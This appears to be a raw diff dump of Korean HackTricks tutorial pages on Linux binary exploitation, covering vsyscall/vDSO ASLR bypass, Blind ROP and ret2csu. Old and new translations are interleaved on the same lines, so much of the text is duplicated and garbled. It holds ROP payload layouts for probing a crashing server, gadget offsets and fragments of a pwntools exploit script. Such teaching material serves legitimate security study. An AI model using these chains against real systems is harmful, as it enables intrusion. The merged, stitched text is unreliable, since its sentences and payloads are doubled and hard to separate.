예를 들어, 공격자는 악용 내에서 주소 `0xffffffffff600800`를 사용할 수 있습니다. `ret` 명령으로 직접 이동하려는 시도는 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, **vsyscall** 섹션에서 제공되는 `syscall`의 시작으로 이동하는 것은 성공할 수 있습니다. **vsyscall** 주소로 실행을 이끄는 **ROP** 가젯을 신중하게 배치함으로써, 공격자는 이 악용 부분의 **ASLR**를 우회할 필요 없이 코드 실행을 달성할 수 있습니다. 예를 들어, 공격자는 악용 내에서 주소 `0xffffffffff600800`를 사용할 수 있습니다. `ret` 명령으로 직접 이동하려는 시도는 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, **vsyscall** 섹션에서 제공되는 `syscall`의 시작 지점으로 이동하면 성공할 수 있습니다. **vsyscall** 주소로 실행을 이끄는 **ROP** 가젯을 신중하게 배치함으로써, 공격자는 이 악용 부분의 **ASLR** 우회 없이 코드 실행을 달성할 수 있습니다.
``` ```
ef➤ vmmap ef➤ vmmap
Start End Offset Perm Path Start End Offset Perm Path
@ -285,16 +285,10 @@ gef➤ x/4i 0xffffffffff600800
0xffffffffff600809: ret 0xffffffffff600809: ret
0xffffffffff60080a: int3 0xffffffffff60080a: int3
``` ```
<details> ### vDSO
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary> 따라서 **커널이 CONFIG\_COMPAT\_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않기 때문에 vdso를 악용하여 ASLR을 우회할 수 있습니다**. 자세한 내용은 확인하세요:
다른 방법으로 HackTricks를 지원하는 방법: {% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! {% endcontent-ref %}
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>

View file

@ -6,10 +6,10 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
@ -19,61 +19,61 @@ HackTricks를 지원하는 다른 방법:
이 공격의 목표는 **취약한 이진 파일에 대한 어떠한 정보도 없이 버퍼 오버플로우를 통해 ROP를 남용하는 것**입니다.\ 이 공격의 목표는 **취약한 이진 파일에 대한 어떠한 정보도 없이 버퍼 오버플로우를 통해 ROP를 남용하는 것**입니다.\
이 공격은 다음 시나리오에 기반을 두고 있습니다: 이 공격은 다음 시나리오에 기반을 두고 있습니다:
* 스택 취약점 및 그것을 트리거하는 방법에 대한 지식. * 스택 취약점 및 해당 취약점을 트리거하는 방법에 대한 지식.
* 충돌 후 서버 응용 프로그램이 다시 시작되는 서버 응용 프로그램. * 충돌 후 서버 응용 프로그램이 다시 시작되는 서버 응용 프로그램.
## 공격 ## 공격
### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 자 더 보내기 ### **1. 취약한 오프셋 찾기** 서버의 오작동이 감지될 때까지 한 자 더 보내기
### **2. 캐너리 브루트 포스**를 통해 누출하기 ### **2. 캐너리 브루트포스**를 통해 누출하기
### **3. 스택에 저장된 RBP 및 RIP를 브루트 포스**하여 누출하기 ### **3. 스택에 저장된 RBP 및 RIP 브루트포스** 주소 누출하기
이러한 프로세스에 대한 자세한 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) 및 [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다. 이러한 프로세스에 대한 자세한 정보는 [여기 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) 및 [여기 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)에서 찾을 수 있습니다.
### **4. 중지 가젯 찾기** ### **4. 중지 가젯 찾기**
이 가젯은 ROP 가젯에 의해 실행된 흥미로운 것이 충돌하지 않았기 때문에 무언가가 실행되었음을 확인하는 데 사용됩니다. 일반적으로, 이 가젯은 **실행을 중지**시키는 것이며, 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 가젯을 찾을 때 ROP 체인의 끝에 위치합니다. 이 가젯은 기본적으로 ROP 가젯에 의해 실행된 흥미로운 작업을 확인할 수 있도록 합니다. 일반적으로 이 가젯은 **실행을 중지**시키는 것이며, 특정 ROP 가젯이 실행되었음을 확인하기 위해 ROP 가젯을 찾을 때 ROP 체인의 끝에 위치합니다.
### **5. BROP 가젯 찾기** ### **5. BROP 가젯 찾기**
이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 중간에 일부 명령을 실행할 때 **`rsi`** 및 **`rdi`**를 제어할 수 있는 가젯을 얻을 수 있기 때문입니다: 이 기술은 [**ret2csu**](ret2csu.md) 가젯을 사용합니다. 이는 중간에 일부 명령을 실행할 때 **`rsi`** 및 **`rdi`**를 제어할 수 있는 가젯을 얻을 수 있기 때문입니다:
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
다음은 이러한 가젯들입니다: 다음은 해당 가젯입니다:
* `pop rsi; pop r15; ret` * `pop rsi; pop r15; ret`
* `pop rdi; ret` * `pop rdi; ret`
이러한 가젯을 사용하면 함수를 호출할 때 **2개의 인수를 제어**할 수 있습니다. 이러한 가젯을 사용하면 함수 호출의 **2개의 인수를 제어**할 수 있음을 알 수 있습니다.
또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 이는 스택에서 6개의 레지스터를 팝할 것입니다. 따라서 다음과 같은 체인을 보내면: 또한, ret2csu 가젯은 **매우 독특한 서명**을 가지고 있습니다. 이는 스택에서 6개의 레지스터를 팝할 것이기 때문입니다. 따라서 다음과 같은 체인을 보내면:
`'A' * 오프셋 + 캐너리 + rbp + 주소 + 0xdead * 6 + 중지` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
만약 **STOP이 실행**된다면, 이는 기본적으로 스택에서 6개의 레지스터를 팝하는 주소가 사용되었음을 의미합니다. 또는 사용된 주소가 또한 STOP 주소였음을 의미합니다. 만약 **STOP이 실행**된다면, 이는 기본적으로 **스택에서 6개의 레지스터를 팝하는 주소**가 사용되었음을 의미합니다. 또는 사용된 주소가 또한 STOP 주소였음을 의미합니다.
이 **마지막 옵션을 제거**하기 위해 이전에 팝한 6개의 레지스터를 확인하기 위해 다음과 같은 새로운 체인을 실행하고 이전 것이 6개의 레지스터를 팝했음을 확인해야 합니다: 이 **마지막 옵션을 제거**하기 위해 다음과 같은 새로운 체인을 실행하고 이전 체인이 6개의 레지스터를 팝했음을 확인하기 위해 STOP 가젯이 실행되지 않아야 합니다:
`'A' * 오프셋 + 캐너리 + rbp + 주소` `'A' * offset + canary + rbp + ADDR`
ret2csu 가젯의 주소를 알면 **`rsi``rdi`를 제어하는 가젯의 주소를 추론**할 수 있습니다. ret2csu 가젯의 주소를 알면 **`rsi``rdi`를 제어하는 가젯의 주소를 추론**할 수 있습니다.
### 6. PLT 찾기 ### 6. PLT 찾기
PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소** (PIE가 사용 중인 경우)부터 검색할 수 있습니다. 테이블의 **항목**은 16B(0x10B)로 구분되며, 함수가 호출될 때 인수가 올바르지 않아도 서버가 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째로 실행되는 코드이기 때문입니다. PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소** (PIE가 사용 중인 경우)부터 검색할 수 있습니다. 테이블의 **항목**은 **16B** (0x10B)로 구분되며, 함수가 호출될 때 인수가 올바르지 않아도 서버가 충돌하지 않습니다. 또한, **PLT + 6B의 주소를 확인해도 충돌하지 않습니다**. 이는 첫 번째로 실행되는 코드이기 때문입니다.
따라서 다음과 같은 동작을 확인하여 PLT 테이블을 찾을 수 있습니다: 따라서 다음과 같은 동작을 확인하여 PLT 테이블을 찾을 수 있습니다:
* `'A' * 오프셋 + 캐너리 + rbp + 주소 + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + ADDR + STOP` -> 충돌 없음
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x6) + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 충돌 없음
* `'A' * 오프셋 + 캐너리 + rbp + (주소 + 0x10) + 중지` -> 충돌 없음 * `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 충돌 없음
### 7. strcmp 찾기 ### 7. strcmp 찾기
**`strcmp`** 함수는 비교되는 문자열의 길이를 나타내는 레지스터 **`rdx`**를 설정합니다. **`rdx`**는 **세 번째 인수**이며, 나중에 `write`를 사용하여 프로그램을 누출하기 위해 0보다 큰 값이어야 합니다. **`strcmp`** 함수는 비교되는 문자열의 길이를 나타내는 레지스터 **`rdx`**를 설정합니다. **`rdx`****0보다 큰** 값이어야 나중에 `write`를 사용하여 프로그램을 누출할 수 있습니다.
이제 우리는 함수의 처음 2개의 인수를 제어할 수 있기 때문에 **PLT를 기반으로 `strcmp`의 위치를 찾을 수 있습니다**: 이제 우리는 함수의 처음 2개의 인수를 제어할 수 있기 때문에 **PLT를 기반으로 `strcmp`의 위치를 찾을 수 있습니다**:
@ -82,14 +82,14 @@ PLT 테이블은 0x400000 또는 스택에서 **유출된 RIP 주소** (PIE가
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌 * strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음 * strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음
이를 확인하기 위해 PLT 테이블의 각 항목을 호출하거나 **PLT slow path**를 사용할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목 + 0xb** (즉, **`dlresolve`**를 호출)을 호출한 다음 스택에서 **조사하려는 항목 번호** (0부터 시작)을 따니다: 이를 확인하기 위해 PLT 테이블의 각 항목을 호출하거나 **PLT slow path**를 사용할 수 있습니다. 이는 기본적으로 **PLT 테이블의 항목 + 0xb** (즉, **`dlresolve`**를 호출)을 호출한 다음 스택에서 **조사하려는 항목 번호** (0부터 시작)을 따르는 것입니다:
* strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌 * strcmp(\<읽을 수 없는 주소>, \<읽을 수 있는 주소>) -> 충돌
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지` -> 충돌 * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 충돌 발생
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌 * strcmp(\<읽을 수 있는 주소>, \<읽을 수 없는 주소>) -> 충돌
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지`&#x20; * `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
* strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음 * strcmp(\<읽을 수 있는 주소>, \<읽을 수 있는 주소>) -> 충돌 없음
* `b'A' * 오프셋 + 캐너리 + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + 중지`&#x20; * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
기억하세요: 기억하세요:

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
@ -18,15 +18,15 @@ HackTricks를 지원하는 다른 방법:
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보
**ret2csu**는 프로그램의 제어를 가져오려고 할 때 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **가젯**을 찾을 수 없는 경우 사용되는 해킹 기술입니다. **ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 사용하는 **가젯**을 찾을 수 없는 경우 사용되는 해킹 기술입니다.&#x20;
프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분들이 서로 통신하는 방법을 관리하기 위한 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있는데, 이는 우리가 필요로 하는 누락된 가젯 역할을 할 수 있는 숨겨진 보석들이 있습니다. 프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분들이 서로 통신하는 방법을 관리하기 위한 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있는데, 이는 우리가 필요로 하는 가젯 역할을 할 수 있는 숨겨진 보석들이 있습니다.
### \_\_libc\_csu\_init의 마법 가젯들 ### \_\_libc\_csu\_init의 마법 가젯들
**`__libc_csu_init`**에는 강조해야 할 두 가지 명령어 시퀀스(가젯)가 있습니다: **`__libc_csu_init`**에는 강조해야 할 두 가지 명령어 시퀀스(가젯)가 있습니다:
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이는 나중에 사용하고 싶은 숫자나 주소를 저장할 수 있는 슬롯과 같습니다. 1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이는 나중에 사용 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
```armasm ```armasm
pop rbx; pop rbx;
pop rbp; pop rbp;
@ -47,7 +47,7 @@ mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
2. 어디에 쓸 주소를 모르는 경우 **`ret` 명령어가 필요**할 수 있습니다. 두 번째 가젯도 **`ret`으로 끝나지만**, 도달하기 위해 몇 가지 **조건**을 충족해야 합니다: 2. 거기에 쓸 주소를 알지 못할 수도 있고 **`ret` 명령어가 필요**할 수 있습니다. 두 번째 가젯도 **`ret`로 끝나지만**, 도달하기 위해 일부 **조건**을 충족해야 합니다:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -59,10 +59,10 @@ jnz <func>
... ...
ret ret
``` ```
다음은 조건이 될 것입니다: 다음은 조건입니다:
- `[r12 + rbx*8]`는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다). * `[r12 + rbx*8]`는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없는 경우, `_init` 함수를 사용할 수 있습니다):
- 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 `[r12 + rbx*8]`이 그 포인터를 가리키는 주소가 되도록 하십시오. * 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 `[r12 + rbx*8]`가 \_init을 가리키는 포인터가 있는 주소가 되도록 합니다:
```bash ```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560 gef➤ search-pattern 0x400560
@ -72,33 +72,33 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]" 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
``` ```
* `rbp` `rbx`는 동일한 값을 가져야 점프를 피할 수 있습니다. * `rbp` `rbx`는 동일한 값을 가져야 점프를 피할 수 있습니다.
* 고려해야 할 생략된 팝이 있습니다. * 고려해야 할 생략된 팝이 있습니다.
## RDI와 RSI ## RDI와 RSI
Ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다: ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
더 많은 정보를 보려면 이 페이지를 확인하세요: 자세한 정보는 이 페이지를 확인하십시오:
{% content-ref url="brop-blind-return-oriented-programming.md" %} {% content-ref url="brop-blind-return-oriented-programming.md" %}
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md) [brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
{% endcontent-ref %} {% endcontent-ref %}
## 예 ## 예
### 콜 사용 ### 콜 사용
시스템 콜을 수행하거나 `write()`와 같은 함수를 호출하려면 `rdx``rsi` 레지스터에 특정 값이 필요할 때를 상상해보세요. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없습니다. 시스템 호출을 수행하거나 `write()`와 같은 함수를 호출하려면 `rdx``rsi` 레지스터에 특정 값이 필요합니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만 찾을 수 없습니다.
여기서 **ret2csu**가 필요합니다: 여기서 **ret2csu**가 필요합니다:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아내어 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다. 1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14와 r13에서 `rdx` `rsi`로 선택한 값을 이동하여 함수 호출을 위한 매개변수를 준비합니다. 더 나아가 `r15` `rbx`를 제어함으로써 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다. 2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14 및 r13에서 `rdx` `rsi`로 선택한 값을 이동하여 함수 호출을 위한 매개변수를 준비합니다. 더 나아가 `r15` `rbx`를 제어함으로써 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다.
[**이 기술을 사용하고 설명하는 예제**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 사용된 최종 악용은 다음과 같습니다: [**이 기술을 사용하고 설명하는 예제**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 이것이 사용된 최종 exploit입니다:
```python ```python
from pwn import * from pwn import *
@ -180,4 +180,4 @@ target.interactive()
``` ```
### 왜 libc를 직접 사용하지 않는가? ### 왜 libc를 직접 사용하지 않는가?
보통 이러한 경우 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로는 쉽게 제어할 수 없는 매개변수를 더 제어해야 하는 경우가 있습니다. 예를 들어 `write()` 함수는 세 개의 매개변수가 필요하며, **이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다. 보통 이러한 경우들은 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로는 쉽게 제어할 수 없는 매개변수를 더 제어해야 할 수도 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수가 필요하며, **이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다.

View file

@ -9,8 +9,8 @@ HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.** * **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기교를 공유**하세요.
</details> </details>
@ -63,16 +63,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
``` ```
{% hint style="danger" %}
따라서 커널이 CONFIG\_COMPAT\_VDSO로 컴파일된 경우 vdso 주소가 무작위로 변경되지 않기 때문에 **vdso를 악용하여 ASLR을 우회**할 수 있을 수 있다: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %}
### ARM64
kali 2023.2 arm64에서 이진 파일의 vdso 섹션을 덤프하고 확인한 후, 거기에는 **스택의 값에서 레지스터를 제어하거나 ret를 위해 x30을 제어할 방법이 없는** 흥미로운 가젯이 없었습니다. **SROP를 호출할 수 있는 방법**만 있었습니다. 페이지의 예제에서 자세한 정보를 확인하세요:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary> <summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
